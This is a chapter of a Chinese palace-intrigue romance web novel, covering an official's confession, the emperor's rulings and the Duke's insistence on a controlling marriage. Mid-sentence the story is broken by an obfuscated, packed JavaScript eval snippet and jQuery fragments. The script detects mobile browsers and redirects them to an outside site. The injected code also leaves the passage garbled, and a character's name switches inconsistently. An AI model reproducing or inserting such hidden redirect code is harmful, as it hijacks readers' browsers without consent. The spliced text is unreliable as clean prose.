沈修瑾如今的处境，早已是风吹两边倒的墙头草，谁能护他性命，他便往谁的檐下躲。


    因而他虽承认在户籍变动文书上批过“此事要紧，着即处理”八字，却将罪责推得干净，只道自己不过依例票拟，其余种种，如户籍造假、勾结上下等事，一概推予户部尚书王德海，把自己扮作受人挟制的无辜之臣，仿佛只是棋盘上一枚被推动的棋子。


    毕竟丢官事小，户籍造假，却是株连九族的大罪。


    圣上阅罢，龙颜震怒：“好啊！竟在朕的眼皮底下行这等勾当！！”他掌中的证供被猛地攥紧，揉成一团。随即大臂一挥，那纸团如陨石般砸向金砖，“咚”的一声闷响，在死寂的大殿里回荡。


    不待余音散尽，满朝文武已齐刷刷跪地叩首，那场面，宛若秋收时被一镰割倒的麦田。


    “传朕旨意，户部尚书王德海即刻革职拿问，严审其与逆党勾结之罪。”


    “沈修瑾身为大学士，徇私枉法，革去所有官职，押入天牢，待案情查明，一并处置。”


    “此案，交由......左右都察御史协同主理，三司会审，给朕一查到底！无论涉及何人，绝不姑息！”


    圣旨既下，尘埃落定。睿王虽心有不甘，却也无可辩驳，只是意外主理此案的竟非裴轩。


    “景钰啊，案子未查清之前，你就留在宫中，莫要随处走动了。”


    “此事因臣而起，臣自当遵从。”谢景钰岂会听不懂圣上言语间的软禁之意，他弯腰深揖，久久未直起身。在无人得见的阴影里，恨意在他低垂的眼帘下汹涌翻腾。


    待众人退朝，谢景钰转身与慕辞擦肩的刹那，脚步微滞，缓缓侧首，声音低沉：“这一局，算你赢。”


    他一步步迈下汉白玉阶，宽大的袍袖在渐起的晚风中拂动，如一只垂落的翼。他在心中立誓：终有一日，他要成为这景朝万人仰望的天下之主，再不必受制于人。


    勤政殿内，此刻唯慕辞和景帝二人。


    “到底还是让谢景珩钻了空子，卷土重来了。”


    “是臣失职，当初就该亲自出手，不留后患。”


    “这与你有何干系？”景帝见慕辞神色间隐有愧色，当即温声宽慰，“眼下最要紧的，是把你身边那奸细揪出来。其余的事，交给陈彷去办便是。”


    自得知谢景珩未死后，慕辞便察觉身边定有内奸，此后所有暗中查探逆党之事，皆移交缉影卫亲办。


    更棘手的是，如今该如何将成王之罪转扣于睿王头上。睿王在世人眼中从来是个病弱闲散的王爷，又有谁会信他有谋逆之心？


    “那裴轩......该如何处置？”慕辞与景帝心照不宣，早知裴轩与谢景钰暗中有往来。


    “此人......朕平日待他不薄，竟敢行此背主之事。”景帝念及曾对他寄予厚望，胸中怒意翻涌，几欲立时下令处决。


    “先让陈彷派人盯着，若再有不轨之举......杀无赦。”


    慕辞蓦然抬眼，未料他会作此决断。毕竟当年景帝能登大宝，裴轩也曾出过力。


    “朕一会儿还答应宸儿要去看他，你先退下吧。”


    “小殿下？”慕辞微怔，“听闻近来......陛下与小殿下相处的时候不少？”


    “是啊，不知沈望舒同他说了些什么，宸儿近来......格外黏朕。”景帝面上似有嫌弃，嘴角却压不住地上扬。


    他虽有两子，长子疏离，次子畏怯，常觉天伦寂寞。如今景宸愿时时相伴，他自是欢喜。


    “那她......倒真是功不可没。”慕辞语带欣慰，不自觉含笑。


    “呵......”景帝见他掩不住的笑意，挑眉打趣，“怎么，她做了好事，你高兴什么？”


    慕辞立即抿唇正色：“臣并无......”


    “行了，不听你狡辩。宸儿还在等他父皇呢！”


    “陛下且慢。”景帝方欲起身，却被慕辞出声拦下。


    “赐婚一事，还望陛下尽早下旨。”


    “你就这般怕她反悔？”景帝不解，“再说待沈家定罪，她便是罪臣之女，如何配得上你？要想牵制她，法子多的是。”


    “依朕看，这婚事不如作罢。”


    景帝只知她是沈望舒胞妹，却不知她本是罪臣之女苏念。


    “臣与她有约在先，不可失信。”


    景帝看破不说破，终是摇头轻笑：“罢罢罢，朕即刻拟旨。瞧你这心急的。”


    慕辞自以为心思藏得缜密，却不知那点情愫，早已昭然若揭。


    他想将她留在身边，即使用尽手段，也要得偿所愿。


    ......


    回到府时，已是深夜，踏着清冷的月色往书房走，却见那窗棂内透出温暖的烛光，不由地微微蹙眉。


    轻轻推开门，一眼便瞧见那道纤细的身影正伏在那张紫檀木桌案上，睡得香甜。


    案上的烛火微微跳跃，在她白皙的侧脸投下柔和的光影，长睫如蝶翼般栖息，呼吸清浅均匀，显然已等了许久，支撑不住倦意。


    她一只手还倚着下巴，那模样带着几分平日罕见的娇憨与恬静。


    慕辞不自觉放轻了脚步，心底某处似乎被这静谧轻轻触动，竟忘了动作，只站在原地静静凝视。


    连日里的筹谋算计，朝堂上的剑拔弩张也在这一刻被抚平。


    正当他看得出神，只见她支着下巴的手臂一软，脑袋失去支撑，直直地就往桌案上栽去！


    慕辞心头猛地一紧，几乎是身体快于思绪，长腿一迈瞬间靠近，大手迅疾地伸过去，稳稳托住了她差点撞上硬木桌沿的脸颊。


    掌心传来她肌肤温热的触感，以及几缕散落碎发的微痒。那一下毫无迟疑的保护动作，让他清晰感觉到自己的心跳漏了一拍，节奏骤然紊乱。


    沈望舒被这动静惊醒，迷迷蒙蒙地抬起头，脸上还残留着他掌心的温热。


    她睡眼惺忪，眸中带着刚醒时的水汽与茫然，仿佛不明白发生了什么，只下意识地喃喃：“怎么这么晚了才回来？”


    “怎么，我想什么时候回来还需要跟你报备？”慕辞恢复了惯有的刻薄：“这是你家吗？就睡上了。”


    慕辞在她抬头看清之前，已迅速收回了手，负手而立，恢复了平日清冷自持的模样，仿佛方才那一瞬间的慌乱从未发生。只是那藏于袖中、微微蜷缩的手指，还隐约残留着触碰她时的细腻温度。


    沈望舒清醒过来，说道：“今日之事，可还顺利？”


    “嗯。”慕辞微微点头，随后问道：“你昨晚到底是怎么说服沈修瑾的？”


    慕辞一直没想清楚，沈修瑾此番承认，最轻都是革职抄家，怎么敢冒这么大的险承认。


    沈望舒闻言，唇角勾起一抹极淡的、带着几分嘲讽的弧度。声音平静无波：“定国公以为，他沈修瑾步步为营，汲汲营营，最终为的是什么？”


    慕辞眉梢微动，并未回答，等待她的下文。


    “人人都道他沈大学士热衷权术，渴望位极人臣。”沈望舒轻轻摇头，语气带着一种看透本质的凉薄，“可他们看不明白，权利于他而言，并非目的，而是手段。他真正渴望的，从来都是——钱财。”


    “钱财？”裴瑾眼中闪过一丝讶异。沈修瑾位居大学士，平日虽不算两袖清风，但也从未听闻他爱财。


    “没错。”沈望舒肯定道，眼神飘向窗外，仿佛忆起了一些久远的、不甚愉快的画面，“他出身寒微，幼时家徒四壁，甚至有过饥寒交迫、受人白眼的经历。他是真的穷怕了。那种刻入骨髓的匮乏与不安，让他对财富有着超乎常人的执着与渴望。在他心里，再高的权位，若不能转换为实实在在、可握在手中的金银，便是虚的，便是不安稳的。”


    她转回头，目光清亮地看着裴瑾：“他攀附睿王，是因为睿王能给他带来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473838|181776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    更多的敛财机会。但这一切的前提是，睿王能保住他，或者说，睿王给出的价码，值得他冒险。”


    她顿了顿，总结道：“对他而言，权利是梯子，钱财才是屋顶。梯子可以换，屋顶不能塌。我不过是让他看清，哪一边更能保住他的‘屋顶’罢了。”


    沈修瑾自然聪明，跟着睿王，圣上必会将他赶尽杀绝，弃暗投明才是明智之举。


    慕辞听完，沉默片刻，方才缓缓道：“你倒是将他看得透彻。”他不得不承认，沈望舒对人心的把握，尤其是对她这位名义上父亲的弱点的洞察，精准得令人心惊。这绝不是一个养在深闺的普通女子所能具备的城府。


    “其实...我此番前来还有别的事。”沈望舒欲言又止道。


    “不如......赐婚之事还是算了吧。”


    室内静了一瞬，只闻烛芯噼啪轻响。慕辞执起手边微凉的茶盏，指尖摩挲着杯壁，眼帘未抬：“理由呢？”


    “定国公当初提出婚约，是为牵制于我，怕我背刺于你。我今日前来，便是想说清楚，我沈望舒既已选择与你合作，便绝不会背信弃义，行背后捅刀之事。此心天地可鉴，无需用婚姻枷锁来保证。”她言辞恳切，试图说服他，“再者，家父一旦定罪，我便是罪臣之女，此等身份，如何能匹配？还望定国公三思。”


    她以为自己说得在情在理，为他，也为彼此考量周全。事实上，就是不想与他扯上关系。


    然而，慕辞放下茶盏，抬眸看她，那目光深沉难辨，竟隐隐透出一丝冷意。“所以，你认为我此举，是多此一举？”


    他语调平缓，却带着不容置疑的力道：“这桩婚事，从一开始就不是基于信任，而是最直接有效的控制。你说你不会背叛，空口无凭，我凭什么信？唯有将你的名分、你的命运与我彻底捆绑，我方能安心。这才是最牢固的保险。”


    他站起身，绕过桌案走到她面前，居高临下地看着她：“至于罪臣之女......正因如此，你才更需要我这棵大树，不是吗？别忘了我们的约定。现在，你想毁约？晚了。”


    沈望舒在他的逼视下后退了半步。她听出来了，他字字句句皆围绕“控制”与“利用”，完全没有转圜的余地。


    沈望舒无奈，只得放弃：“那既然定国公如此坚决，我也不便说什么，只希望你不后悔就好。”


    说完，她没有再看他的表情，转身离去，带上了书房的门。


    慕辞站在原地，听着她渐行渐远的脚步声，负在身后的手缓缓握紧。方才她眼中那一闪而过的黯然，像跟细针，在他心口刺了一下，微不可察，却又难以忽略。


    可即便如此，他也不会心软，一定要将她留在身边。


    ......


    很快，赐婚的旨意便下来了，定在六月初一，也就不过半月的样子。


    沈府内，正忙着准备陪嫁。


    “姜昭愿如今倒是如了愿，状元的位子又回来了，恨不得昭告天下。”芍药不禁吐槽道。


    殿试上，景帝剑走偏锋，询问起父子相处之道，赵鹤桓果然噎住，半天说不出个所以然来。


    随后圣上大怒，将牵扯此事之人一并揪了出来，按律处置。


    如此，这状元的位置自然是物归原主，姜昭愿这般骄傲的人，必然要到处宣扬。


    “随他去吧，别来烦我就好。”


    皖娘道：“自从老爷被革职，这些日子到越发的对夫人好了呢？”


    “那是自然，不然钱从哪儿来？”


    沈修瑾到底是没混进谢景钰的内部，一概不知户籍变动一事，圣上看在他从龙有功的份上，也只是革职，早些告老还乡罢了。


    如今没了收入，自然要靠江南首富的女儿来得些钱财挥霍了。


    不过外面的流言蜚语，还是盖不住。


    眼下慕辞也不知怎得去边洲还未回来，这流言全一股脑地砸在沈望舒头上了。